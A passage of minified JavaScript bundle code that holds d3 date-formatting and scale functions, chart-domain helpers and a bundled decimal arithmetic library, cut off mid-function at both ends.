QL(e,t,n){var r=bt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function JL(e,t,n){var r=bt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function e7(e,t,n){var r=RL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function t7(e,t,n){var r=bt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function n7(e,t,n){var r=bt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function Z1(e,t){return Ce(e.getDate(),t,2)}function r7(e,t){return Ce(e.getHours(),t,2)}function i7(e,t){return Ce(e.getHours()%12||12,t,2)}function a7(e,t){return Ce(1+il.count(_r(e),e),t,3)}function ZN(e,t){return Ce(e.getMilliseconds(),t,3)}function s7(e,t){return ZN(e,t)+"000"}function o7(e,t){return Ce(e.getMonth()+1,t,2)}function l7(e,t){return Ce(e.getMinutes(),t,2)}function c7(e,t){return Ce(e.getSeconds(),t,2)}function u7(e){var t=e.getDay();return t===0?7:t}function d7(e,t){return Ce(Wd.count(_r(e)-1,e),t,2)}function QN(e){var t=e.getDay();return t>=4||t===0?es(e):es.ceil(e)}function f7(e,t){return e=QN(e),Ce(es.count(_r(e),e)+(_r(e).getDay()===4),t,2)}function p7(e){return e.getDay()}function m7(e,t){return Ce(ku.count(_r(e)-1,e),t,2)}function h7(e,t){return Ce(e.getFullYear()%100,t,2)}function x7(e,t){return e=QN(e),Ce(e.getFullYear()%100,t,2)}function v7(e,t){return Ce(e.getFullYear()%1e4,t,4)}function g7(e,t){var n=e.getDay();return e=n>=4||n===0?es(e):es.ceil(e),Ce(e.getFullYear()%1e4,t,4)}function y7(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+Ce(t/60|0,"0",2)+Ce(t%60,"0",2)}function Q1(e,t){return Ce(e.getUTCDate(),t,2)}function b7(e,t){return Ce(e.getUTCHours(),t,2)}function w7(e,t){return Ce(e.getUTCHours()%12||12,t,2)}function j7(e,t){return Ce(1+Fd.count(Or(e),e),t,3)}function JN(e,t){return Ce(e.getUTCMilliseconds(),t,3)}function k7(e,t){return JN(e,t)+"000"}function N7(e,t){return Ce(e.getUTCMonth()+1,t,2)}function S7(e,t){return Ce(e.getUTCMinutes(),t,2)}function z7(e,t){return Ce(e.getUTCSeconds(),t,2)}function C7(e){var t=e.getUTCDay();return t===0?7:t}function P7(e,t){return Ce(Ud.count(Or(e)-1,e),t,2)}function e4(e){var t=e.getUTCDay();return t>=4||t===0?ts(e):ts.ceil(e)}function E7(e,t){return e=e4(e),Ce(ts.count(Or(e),e)+(Or(e).getUTCDay()===4),t,2)}function A7(e){return e.getUTCDay()}function _7(e,t){return Ce(Nu.count(Or(e)-1,e),t,2)}function O7(e,t){return Ce(e.getUTCFullYear()%100,t,2)}function T7(e,t){return e=e4(e),Ce(e.getUTCFullYear()%100,t,2)}function M7(e,t){return Ce(e.getUTCFullYear()%1e4,t,4)}function L7(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ts(e):ts.ceil(e),Ce(e.getUTCFullYear()%1e4,t,4)}function I7(){return"+0000"}function J1(){return"%"}function eb(e){return+e}function tb(e){return Math.floor(+e/1e3)}var pa,t4,n4;D7({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function D7(e){return pa=DL(e),t4=pa.format,pa.parse,n4=pa.utcFormat,pa.utcParse,pa}function R7(e){return new Date(e)}function $7(e){return e instanceof Date?+e:+new Date(+e)}function p0(e,t,n,r,i,a,o,l,c,u){var d=Jx(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)<S?h:l(S)<S?x:o(S)<S?g:a(S)<S?y:r(S)<S?i(S)<S?v:b:n(S)<S?w:j)(S)}return d.invert=function(S){return new Date(f(S))},d.domain=function(S){return arguments.length?m(Array.from(S,$7)):m().map(R7)},d.ticks=function(S){var N=m();return e(N[0],N[N.length-1],S??10)},d.tickFormat=function(S,N){return N==null?k:u(N)},d.nice=function(S){var N=m();return(!S||typeof S.range!="function")&&(S=t(N[0],N[N.length-1],S??10)),S?m(WN(N,S)):d},d.copy=function(){return rl(d,p0(e,t,n,r,i,a,o,l,c,u))},d}function B7(){return Pn.apply(p0(LL,IL,_r,d0,Wd,il,c0,o0,Bi,t4).domain([new Date(2e3,0,1),new Date(2e3,0,2)]),arguments)}function F7(){return Pn.apply(p0(TL,ML,Or,f0,Ud,Fd,u0,l0,Bi,n4).domain([Date.UTC(2e3,0,1),Date.UTC(2e3,0,2)]),arguments)}function Vd(){var e=0,t=1,n,r,i,a,o=Mt,l=!1,c;function u(f){return f==null||isNaN(f=+f)?c:o(i===0?.5:(f=(a(f)-n)*i,l?Math.max(0,Math.min(1,f)):f))}u.domain=function(f){return arguments.length?([e,t]=f,n=a(e=+e),r=a(t=+t),i=n===r?0:1/(r-n),u):[e,t]},u.clamp=function(f){return arguments.length?(l=!!f,u):l},u.interpolator=function(f){return arguments.length?(o=f,u):o};function d(f){return function(m){var h,x;return arguments.length?([h,x]=m,o=f(h,x),u):[o(0),o(1)]}}return u.range=d(ds),u.rangeRound=d(Qx),u.unknown=function(f){return arguments.length?(c=f,u):c},function(f){return a=f,n=f(e),r=f(t),i=n===r?0:1/(r-n),u}}function ki(e,t){return t.domain(e.domain()).interpolator(e.interpolator()).clamp(e.clamp()).unknown(e.unknown())}function r4(){var e=ji(Vd()(Mt));return e.copy=function(){return ki(e,r4())},Br.apply(e,arguments)}function i4(){var e=n0(Vd()).domain([1,10]);return e.copy=function(){return ki(e,i4()).base(e.base())},Br.apply(e,arguments)}function a4(){var e=r0(Vd());return e.copy=function(){return ki(e,a4()).constant(e.constant())},Br.apply(e,arguments)}function m0(){var e=i0(Vd());return e.copy=function(){return ki(e,m0()).exponent(e.exponent())},Br.apply(e,arguments)}function W7(){return m0.apply(null,arguments).exponent(.5)}function s4(){var e=[],t=Mt;function n(r){if(r!=null&&!isNaN(r=+r))return t((tl(e,r,1)-1)/(e.length-1))}return n.domain=function(r){if(!arguments.length)return e.slice();e=[];for(let i of r)i!=null&&!isNaN(i=+i)&&e.push(i);return e.sort(fi),n},n.interpolator=function(r){return arguments.length?(t=r,n):t},n.range=function(){return e.map((r,i)=>t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>C8(e,a/r))},n.copy=function(){return s4(t).domain(e)},Br.apply(n,arguments)}function Hd(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Mt,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*g<r*a?l:c),u(f?Math.max(0,Math.min(1,g)):g))}h.domain=function(g){return arguments.length?([e,t,n]=g,i=d(e=+e),a=d(t=+t),o=d(n=+n),l=i===a?0:.5/(a-i),c=a===o?0:.5/(o-a),r=a<i?-1:1,h):[e,t,n]},h.clamp=function(g){return arguments.length?(f=!!g,h):f},h.interpolator=function(g){return arguments.length?(u=g,h):u};function x(g){return function(y){var v,b,w;return arguments.length?([v,b,w]=y,u=eL(g,[v,b,w]),h):[u(0),u(.5),u(1)]}}return h.range=x(ds),h.rangeRound=x(Qx),h.unknown=function(g){return arguments.length?(m=g,h):m},function(g){return d=g,i=g(e),a=g(t),o=g(n),l=i===a?0:.5/(a-i),c=a===o?0:.5/(o-a),r=a<i?-1:1,h}}function o4(){var e=ji(Hd()(Mt));return e.copy=function(){return ki(e,o4())},Br.apply(e,arguments)}function l4(){var e=n0(Hd()).domain([.1,1,10]);return e.copy=function(){return ki(e,l4()).base(e.base())},Br.apply(e,arguments)}function c4(){var e=r0(Hd());return e.copy=function(){return ki(e,c4()).constant(e.constant())},Br.apply(e,arguments)}function h0(){var e=i0(Hd());return e.copy=function(){return ki(e,h0()).exponent(e.exponent())},Br.apply(e,arguments)}function U7(){return h0.apply(null,arguments).exponent(.5)}const qs=Object.freeze(Object.defineProperty({__proto__:null,scaleBand:Gx,scaleDiverging:o4,scaleDivergingLog:l4,scaleDivergingPow:h0,scaleDivergingSqrt:U7,scaleDivergingSymlog:c4,scaleIdentity:FN,scaleImplicit:rh,scaleLinear:BN,scaleLog:UN,scaleOrdinal:Yx,scalePoint:A8,scalePow:a0,scaleQuantile:KN,scaleQuantize:qN,scaleRadial:HN,scaleSequential:r4,scaleSequentialLog:i4,scaleSequentialPow:m0,scaleSequentialQuantile:s4,scaleSequentialSqrt:W7,scaleSequentialSymlog:a4,scaleSqrt:kL,scaleSymlog:VN,scaleThreshold:YN,scaleTime:B7,scaleUtc:F7,tickFormat:$N},Symbol.toStringTag,{value:"Module"}));var Fr=e=>e.chartData,Kd=T([Fr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),u4=(e,t,n,r)=>r?Kd(e):Fr(e),V7=(e,t,n)=>n?Kd(e):Fr(e);function Tr(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ze(t)&&ze(n))return!0}return!1}function nb(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function d4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(ze(n))i=n;else if(typeof n=="function")return;if(ze(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(Tr(o))return o}}function H7(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Tr(r))return nb(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(he(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&by.test(i)){var c=by.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(he(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&wy.test(a)){var d=wy.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(Tr(m))return t==null?m:nb(m,t,n)}}}var fs=1e9,K7={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},v0,He=!0,Cn="[DecimalError] ",Hi=Cn+"Invalid argument: ",x0=Cn+"Exponent out of range: ",ps=Math.floor,Ti=Math.pow,q7=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,tn,xt=1e7,$e=7,f4=9007199254740991,Su=ps(f4/$e),ce={};ce.absoluteValue=ce.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};ce.comparedTo=ce.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=r<i?r:i;t<n;++t)if(a.d[t]!==e.d[t])return a.d[t]>e.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};ce.decimalPlaces=ce.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*$e;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};ce.dividedBy=ce.div=function(e){return jr(this,new this.constructor(e))};ce.dividedToIntegerBy=ce.idiv=function(e){var t=this,n=t.constructor;return Te(jr(t,new n(e),0,1),n.precision)};ce.equals=ce.eq=function(e){return!this.cmp(e)};ce.exponent=function(){return ot(this)};ce.greaterThan=ce.gt=function(e){return this.cmp(e)>0};ce.greaterThanOrEqualTo=ce.gte=function(e){return this.cmp(e)>=0};ce.isInteger=ce.isint=function(){return this.e>this.d.length-2};ce.isNegative=ce.isneg=function(){return this.s<0};ce.isPositive=ce.ispos=function(){return this.s>0};ce.isZero=function(){return this.s===0};ce.lessThan=ce.lt=function(e){return this.cmp(e)<0};ce.lessThanOrEqualTo=ce.lte=function(e){return this.cmp(e)<1};ce.logarithm=ce.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(tn))throw Error(Cn+"NaN");if(n.s<1)throw Error(Cn+(n.s?"NaN":"-Infinity"));return n.eq(tn)?new r(0):(He=!1,t=jr(Bo(n,a),Bo(e,a),a),He=!0,Te(t,i))};ce.minus=ce.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?h4(t,e):p4(t,(e.s=-e.s,e))};ce.modulo=ce.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Cn+"NaN");return n.s?(He=!1,t=jr(n,e,0,1).times(e),He=!0,n.minus(t)):Te(new r(n),i)};ce.naturalExponential=ce.exp=function(){return m4(this)};ce.naturalLogarithm=ce.ln=function(){return Bo(this)};ce.negated=ce.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};ce.plus=ce.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?p4(t,e):h4(t,(e.s=-e.s,e))};ce.precision=ce.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Hi+e);if(t=ot(i)+1,r=i.d.length-1,n=r*$e+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};ce.squareRoot=ce.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Cn+"NaN")}for(e=ot(l),He=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=rr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ps((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(jr(l,a,o+2)).times(.5),rr(a.d).slice(0,o)===(t=rr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Te(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return He=!0,Te(r,n)};ce.times=ce.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c<u&&(a=m,m=h,h=a,o=c,c=u,u=o),a=[],o=c+u,r=o;r--;)a.push(0);for(r=u;--r>=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%xt|0,t=l/xt|0;a[i]=(a[i]+t)%xt|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,He?Te(e,f.precision):e};ce.toDecimalPlaces=ce.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(lr(e,0,fs),t===void 0?t=r.rounding:lr(t,0,8),Te(n,e+ot(n)+1,t))};ce.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=aa(r,!0):(lr(e,0,fs),t===void 0?t=i.rounding:lr(t,0,8),r=Te(new i(r),e+1,t),n=aa(r,!0,e+1)),n};ce.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?aa(i):(lr(e,0,fs),t===void 0?t=a.rounding:lr(t,0,8),r=Te(new a(i),e+ot(i)+1,t),n=aa(r.abs(),!1,e+ot(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};ce.toInteger=ce.toint=function(){var e=this,t=e.constructor;return Te(new t(e),ot(e)+1,t.rounding)};ce.toNumber=function(){return+this};ce.toPower=ce.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(tn);if(l=new c(l),!l.s){if(e.s<1)throw Error(Cn+"Infinity");return l}if(l.eq(tn))return l;if(r=c.precision,e.eq(tn))return Te(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=f4){for(i=new c(tn),t=Math.ceil(r/$e+4),He=!1;n%2&&(i=i.times(l),ib(i.d,t)),n=ps(n/2),n!==0;)l=l.times(l),ib(l.d,t);return He=!0,e.s<0?new c(tn).div(i):Te(i,r)}}else if(a<0)throw Error(Cn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,He=!1,i=e.times(Bo(l,r+u)),He=!0,i=m4(i),i.s=a,i};ce.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=ot(i),r=aa(i,n<=a.toExpNeg||n>=a.toExpPos)):(lr(e,1,fs),t===void 0?t=a.rounding:lr(t,0,8),i=Te(new a(i),e,t),n=ot(i),r=aa(i,e<=n||n<=a.toExpNeg,e)),r};ce.toSignificantDigits=ce.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(lr(e,1,fs),t===void 0?t=r.rounding:lr(t,0,8)),Te(new r(n),e,t)};ce.toString=ce.valueOf=ce.val=ce.toJSON=ce[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ot(e),n=e.constructor;return aa(e,t<=n.toExpNeg||t>=n.toExpPos)};function p4(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),He?Te(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/$e),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/xt|0,c[a]%=xt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,He?Te(t,f):t}function lr(e,t,n){if(e!==~~e||e<t||e>n)throw Error(Hi+e)}function rr(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;t<i;t++)r=e[t]+"",n=$e-r.length,n&&(a+=Yr(n)),a+=r;o=e[t],r=o+"",n=$e-r.length,n&&(a+=Yr(n))}else if(o===0)return"0";for(;o%10===0;)o/=10;return a+o}var jr=function(){function e(r,i){var a,o=0,l=r.length;for(r=r.slice();l--;)a=r[l]*i+o,r[l]=a%xt|0,o=a/xt|0;return o&&r.unshift(o),r}function t(r,i,a,o){var l,c;if(a!=o)c=a>o?1:-1;else for(l=c=0;l<a;l++)if(r[l]!=i[l]){c=r[l]>i[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]<i[a]?1:0,r[a]=o*xt+r[a]-i[a];for(;!r[0]&&r.length>1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,_=r.constructor,A=r.s==i.s?1:-1,O=r.d,P=i.d;if(!r.s)return new _(r);if(!i.s)throw Error(Cn+"Division by zero");for(c=r.e-i.e,N=P.length,k=O.length,h=new _(A),x=h.d=[],u=0;P[u]==(O[u]||0);)++u;if(P[u]>(O[u]||0)&&--c,a==null?b=a=_.precision:o?b=a+(ot(r)-ot(i))+1:b=a,b<0)return new _(0);if(b=b/$e+2|0,u=0,N==1)for(d=0,P=P[0],b++;(u<k||d)&&b--;u++)w=d*xt+(O[u]||0),x[u]=w/P|0,d=w%P|0;else{for(d=xt/(P[0]+1)|0,d>1&&(P=e(P,d),O=e(O,d),N=P.length,k=O.length),j=N,g=O.slice(0,N),y=g.length;y<N;)g[y++]=0;z=P.slice(),z.unshift(0),S=P[0],P[1]>=xt/2&&++S;do d=0,l=t(P,g,N,y),l<0?(v=g[0],N!=y&&(v=v*xt+(g[1]||0)),d=v/S|0,d>1?(d>=xt&&(d=xt-1),f=e(P,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N<m?z:P,m))):(d==0&&(l=d=1),f=P.slice()),m=f.length,m<y&&f.unshift(0),n(g,f,y),l==-1&&(y=g.length,l=t(P,g,N,y),l<1&&(d++,n(g,N<y?z:P,y))),y=g.length):l===0&&(d++,g=[0]),x[u++]=d,l&&g[0]?g[y++]=O[j]||0:(g=[O[j]],y=1);while((j++<k||g[0]!==void 0)&&b--)}return x[0]||x.shift(),h.e=c,Te(h,o?a+ot(h)+1:a)}}();function m4(e,t){var n,r,i,a,o,l,c=0,u=0,d=e.constructor,f=d.precision;if(ot(e)>16)throw Error(x0+ot(e));if(!e.s)return new d(tn);for(He=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ti(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(tn),d.precision=l;;){if(i=Te(i.times(e),l),n=n.times(++c),o=a.plus(jr(i,n,l)),rr(o.d).slice(0,l)===rr(a.d).slice(0,l)){for(;u--;)a=Te(a.times(a),l);return d.precision=f,t==null?(He=!0,Te(a,f)):a}a=o}}function ot(e){for(var t=e.e*$e,n=e.d[0];n>=10;n/=10)t++;return t}function dp(e,t,n){if(t>e.LN10.sd())throw He=!0,n&&(e.precision=n),Error(Cn+"LN10 precision limit exceeded");return Te(new e(e.LN10),t)}function Yr(e){for(var t="";e--;)t+="0";return t}function Bo(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Cn+(h.s?"NaN":"-Infinity"));if(h.eq(tn))return new g(0);if(t==null?(He=!1,u=y):u=t,h.eq(10))return t==null&&(He=!0),dp(g,u);if(u+=m,g.precision=u,n=rr(x),r=n.charAt(0),a=ot(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=rr(h.d),r=n.charAt(0),f++;a=ot(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=dp(g,u+2,y).times(a+""),h=Bo(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?(He=!0,Te(h,y)):h;for(l=o=h=jr(h.minus(tn),h.plus(tn),u),d=Te(h.times(h),u),i=3;;){if(o=Te(o.times(d),u),c=l.plus(jr(o,new g(i),u)),rr(c.d).slice(0,u)===rr(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(dp(g,u+2,y).times(a+""))),l=jr(l,new g(f),u),g.precision=y,t==null?(He=!0,Te(l,y)):l;l=c,i+=2}}function rb(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ps(n/$e),e.d=[],r=(n+1)%$e,n<0&&(r+=$e),r<i){for(r&&e.d.push(+t.slice(0,r)),i-=$e;r<i;)e.d.push(+t.slice(r,r+=$e));t=t.slice(r),r=$e-t.length}else r-=i;for(;r--;)t+="0";if(e.d.push(+t),He&&(e.e>Su||e.e<-Su))throw Error(x0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Te(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=$e,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/$e),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=$e,i=r-$e+o}if(n!==void 0&&(a=Ti(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ti(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=ot(e),f.length=1,t=t-a-1,f[0]=Ti(10,($e-t%$e)%$e),e.e=ps(-t/$e)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=Ti(10,$e-r),f[d]=i>0?(u/Ti(10,o-i)%Ti(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==xt&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=xt)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if(He&&(e.e>Su||e.e<-Su))throw Error(x0+ot(e));return e}function h4(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),He?Te(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/$e),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i<l,d&&(l=i),i=0;i<l;i++)if(c[i]!=f[i]){d=c[i]<f[i];break}o=0}for(d&&(n=c,c=f,f=n,t.s=-t.s),l=c.length,i=f.length-l;i>0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]<f[i]){for(a=i;a&&c[--a]===0;)c[a]=xt-1;--c[a],c[i]+=xt}c[i]-=f[i]}for(;c[--l]===0;)c.pop();for(;c[0]===0;c.shift())--r;return c[0]?(t.d=c,t.e=r,He?Te(t,h):t):new m(0)}function aa(e,t,n){var r,i=ot(e),a=rr(e.d),o=a.length;return t?(n&&(r=n-o)>0?a=a.charAt(0)+"."+a.slice(1)+Yr(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Yr(-i-1)+a,n&&(r=n-o)>0&&(a+=Yr(r))):i>=o?(a+=Yr(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Yr(r))):((r=i+1)<o&&(a=a.slice(0,r)+"."+a.slice(r)),n&&(r=n-o)>0&&(i+1===o&&(a+="."),a+=Yr(r))),e.s<0?"-"+a:a}function ib(e,t){if(e.length>t)return e.length=t,!0}function x4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Hi+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return rb(o,a.toString())}else if(typeof a!="string")throw Error(Hi+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,q7.test(a))rb(o,a);else throw Error(Hi+a)}if(i.prototype=ce,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=x4,i.config=i.set=Y7,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t<r.length;)e.hasOwnProperty(n=r[t++])||(e[n]=this[n]);return i.config(e),i}function Y7(e){if(!e||typeof e!="object")throw Error(Cn+"Object expected");var t,n,r,i=["precision",1,fs,"rounding",0,8,"toExpNeg",-1/0,0,"toExpPos",0,1/0];for(t=0;t<i.length;t+=3)if((r=e[n=i[t]])!==void 0)if(ps(r)===r&&r>=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Hi+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Hi+n+": "+r);return this}var v0=x4(K7);tn=new v0(1);const Pe=v0;function v4(e){var t;return e===0?t=1:t=Math.floor(new Pe(e).abs().log(10).toNumber())+1,t}function g4(e,t,n){for(var r=new Pe(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var y4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},b4=(e,t,n)=>{if(e.lte(0))return new Pe(0);var r=v4(e.toNumber()),i=new Pe(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new Pe(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Pe(c.toNumber()):new Pe(Math.ceil(c.toNumber()))},G7=(e,t,n)=>{var r=new Pe(1),i=new Pe(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new Pe(10).pow(v4(e)-1),i=new Pe(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new Pe(Math.floor(e)))}else e===0?i=new Pe(Math.floor((t-1)/2)):n||(i=new Pe(Math.floor(e)));for(var 